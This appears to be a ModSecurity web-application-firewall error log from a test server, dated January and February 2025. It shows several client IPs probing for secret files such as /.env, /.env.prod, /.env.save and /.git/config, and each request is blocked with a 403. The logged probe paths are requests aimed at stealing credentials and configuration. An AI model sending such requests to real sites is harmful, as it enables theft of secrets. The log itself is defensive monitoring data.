[Thu Jan 23 00:07:42.414985 2025] [:error] [pid 652174] [client 64.95.11.173:47354] [client 64.95.11.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z5F6PgmjBr_2xhvoC6O3TQAAAAA"]
[Thu Jan 23 00:07:42.415928 2025] [:error] [pid 652174] [client 64.95.11.173:47354] [client 64.95.11.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z5F6PgmjBr_2xhvoC6O3TQAAAAA"]
[Thu Jan 23 00:07:42.416556 2025] [:error] [pid 652174] [client 64.95.11.173:47354] [client 64.95.11.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z5F6PgmjBr_2xhvoC6O3TQAAAAA"]
[Sat Jan 25 01:52:47.526438 2025] [:error] [pid 694436] [client 88.121.247.92:59503] [client 88.121.247.92] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5Q13xn-b_yXbDCFwt5U8AAAAAE"], referer: http://forst-trento.test.indacotrentino.com/.git/config
[Sat Jan 25 01:52:47.528364 2025] [:error] [pid 694436] [client 88.121.247.92:59503] [client 88.121.247.92] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5Q13xn-b_yXbDCFwt5U8AAAAAE"], referer: http://forst-trento.test.indacotrentino.com/.git/config
[Sat Jan 25 01:52:47.528766 2025] [:error] [pid 694436] [client 88.121.247.92:59503] [client 88.121.247.92] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5Q13xn-b_yXbDCFwt5U8AAAAAE"], referer: http://forst-trento.test.indacotrentino.com/.git/config
[Tue Jan 28 00:23:10.255071 2025] [:error] [pid 758872] [client 45.148.10.172:42738] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z5gVXo-se2onAk-mUgP3FAAAAAE"]
[Tue Jan 28 00:23:10.257012 2025] [:error] [pid 758872] [client 45.148.10.172:42738] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z5gVXo-se2onAk-mUgP3FAAAAAE"]
[Tue Jan 28 00:23:10.257447 2025] [:error] [pid 758872] [client 45.148.10.172:42738] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z5gVXo-se2onAk-mUgP3FAAAAAE"]
[Wed Jan 29 22:42:25.201399 2025] [:error] [pid 798520] [client 45.148.10.86:39082] [client 45.148.10.86] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5qgwWYHoJEEAxyhV9juZwAAAAs"]
[Wed Jan 29 22:42:25.204545 2025] [:error] [pid 798520] [client 45.148.10.86:39082] [client 45.148.10.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5qgwWYHoJEEAxyhV9juZwAAAAs"]
[Wed Jan 29 22:42:25.205029 2025] [:error] [pid 798520] [client 45.148.10.86:39082] [client 45.148.10.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5qgwWYHoJEEAxyhV9juZwAAAAs"]
[Fri Jan 31 05:29:42.220127 2025] [:error] [pid 838655] [client 103.102.230.8:59796] [client 103.102.230.8] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5xRtgUVslysACw45N3SjAAAAAM"]
[Fri Jan 31 05:29:42.222136 2025] [:error] [pid 838655] [client 103.102.230.8:59796] [client 103.102.230.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5xRtgUVslysACw45N3SjAAAAAM"]
[Fri Jan 31 05:29:42.222395 2025] [:error] [pid 838655] [client 103.102.230.8:59796] [client 103.102.230.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5xRtgUVslysACw45N3SjAAAAAM"]
[Fri Jan 31 14:16:43.412745 2025] [:error] [pid 838656] [client 158.220.108.107:42002] [client 158.220.108.107] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z5zNOxpcIFZcyHz40DwalwAAAAQ"]
[Fri Jan 31 14:16:43.413509 2025] [:error] [pid 838656] [client 158.220.108.107:42002] [client 158.220.108.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z5zNOxpcIFZcyHz40DwalwAAAAQ"]
[Fri Jan 31 14:16:43.413952 2025] [:error] [pid 838656] [client 158.220.108.107:42002] [client 158.220.108.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z5zNOxpcIFZcyHz40DwalwAAAAQ"]
[Sun Feb 02 22:19:17.371552 2025] [:error] [pid 898264] [client 45.148.10.86:52062] [client 45.148.10.86] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5_hVQHe7wyEGs1JxfPpsgAAABM"]
[Sun Feb 02 22:19:17.373546 2025] [:error] [pid 898264] [client 45.148.10.86:52062] [client 45.148.10.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5_hVQHe7wyEGs1JxfPpsgAAABM"]
[Sun Feb 02 22:19:17.374000 2025] [:error] [pid 898264] [client 45.148.10.86:52062] [client 45.148.10.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5_hVQHe7wyEGs1JxfPpsgAAABM"]
[Mon Feb 03 04:13:03.975848 2025] [:error] [pid 903429] [client 18.170.2.62:59621] [client 18.170.2.62] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6A0Pz-b1MI6wxyjKb03qwAAAAY"]
[Mon Feb 03 04:13:03.976661 2025] [:error] [pid 903429] [client 18.170.2.62:59621] [client 18.170.2.62] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6A0Pz-b1MI6wxyjKb03qwAAAAY"]
[Mon Feb 03 04:13:03.977235 2025] [:error] [pid 903429] [client 18.170.2.62:59621] [client 18.170.2.62] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6A0Pz-b1MI6wxyjKb03qwAAAAY"]
[Mon Feb 03 14:49:58.336094 2025] [:error] [pid 904740] [client 95.111.244.79:51770] [client 95.111.244.79] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z6DJhrEzg0AFTrqMM9GTNQAAAAo"]
[Mon Feb 03 14:49:58.337098 2025] [:error] [pid 904740] [client 95.111.244.79:51770] [client 95.111.244.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z6DJhrEzg0AFTrqMM9GTNQAAAAo"]
[Mon Feb 03 14:49:58.337662 2025] [:error] [pid 904740] [client 95.111.244.79:51770] [client 95.111.244.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z6DJhrEzg0AFTrqMM9GTNQAAAAo"]
[Mon Feb 03 15:04:06.367386 2025] [:error] [pid 903227] [client 34.219.159.38:45104] [client 34.219.159.38] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6DM1gLbe95nXH84dKtVyQAAAAM"]
[Mon Feb 03 15:04:06.369027 2025] [:error] [pid 903227] [client 34.219.159.38:45104] [client 34.219.159.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6DM1gLbe95nXH84dKtVyQAAAAM"]
[Mon Feb 03 15:04:06.369471 2025] [:error] [pid 903227] [client 34.219.159.38:45104] [client 34.219.159.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6DM1gLbe95nXH84dKtVyQAAAAM"]
[Thu Feb 06 03:08:49.785655 2025] [:error] [pid 967676] [client 45.148.10.235:57944] [client 45.148.10.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z6QZsXnq6wD1N8H0koR1NwAAAAI"]
[Thu Feb 06 03:08:49.787963 2025] [:error] [pid 967676] [client 45.148.10.235:57944] [client 45.148.10.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z6QZsXnq6wD1N8H0koR1NwAAAAI"]
[Thu Feb 06 03:08:49.788527 2025] [:error] [pid 967676] [client 45.148.10.235:57944] [client 45.148.10.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z6QZsXnq6wD1N8H0koR1NwAAAAI"]
[Thu Feb 06 03:08:50.015196 2025] [:error] [pid 967677] [client 45.148.10.235:57956] [client 45.148.10.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z6QZsu2kD27RYcl6tSP5UgAAAAM"]
[Thu Feb 06 03:08:50.015922 2025] [:error] [pid 967677] [client 45.148.10.235:57956] [client 45.148.10.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z6QZsu2kD27RYcl6tSP5UgAAAAM"]
[Thu Feb 06 03:08:50.016402 2025] [:error] [pid 967677] [client 45.148.10.235:57956] [client 45.148.10.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z6QZsu2kD27RYcl6tSP5UgAAAAM"]
[Thu Feb 06 03:08:50.968756 2025] [:error] [pid 967674] [client 45.148.10.235:57982] [client 45.148.10.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z6QZsui0RSWDzi9bHDwAiwAAAAA"]
[Thu Feb 06 03:08:50.969444 2025] [:error] [pid 967674] [client 45.148.10.235:57982] [client 45.148.10.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z6QZsui0RSWDzi9bHDwAiwAAAAA"]
[Thu Feb 06 03:08:50.969924 2025] [:error] [pid 967674] [client 45.148.10.235:57982] [client 45.148.10.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z6QZsui0RSWDzi9bHDwAiwAAAAA"]
[Thu Feb 06 03:08:51.199125 2025] [:error] [pid 967678] [client 45.148.10.235:57986] [client 45.148.10.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "Z6QZs_miDqsw3PM1XlddggAAAAQ"]
